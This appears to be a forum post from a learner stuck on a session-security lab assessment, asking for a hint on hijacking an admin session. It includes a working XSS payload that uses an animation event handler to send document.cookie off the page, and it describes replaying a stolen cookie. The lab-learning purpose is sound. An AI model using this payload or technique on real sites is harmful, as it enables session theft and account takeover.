Session Security - Assessment - Question 1

I am stuck…

I have the field which is vulnerable and use the following script to gain a cookielog:

<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location = '' + document.cookie;"></video>

I think this was not necessary, plus it returns the cookie from the logged in user, not the admin.

Then I tried and I got adminVisited, timestamp and success.
When I pick the cookie from this page, go to and insert that cookie in Storage on that page (Session Hijacking), it reverts back to the login screen… this is where I am stuck… Anybody willing to share a hint?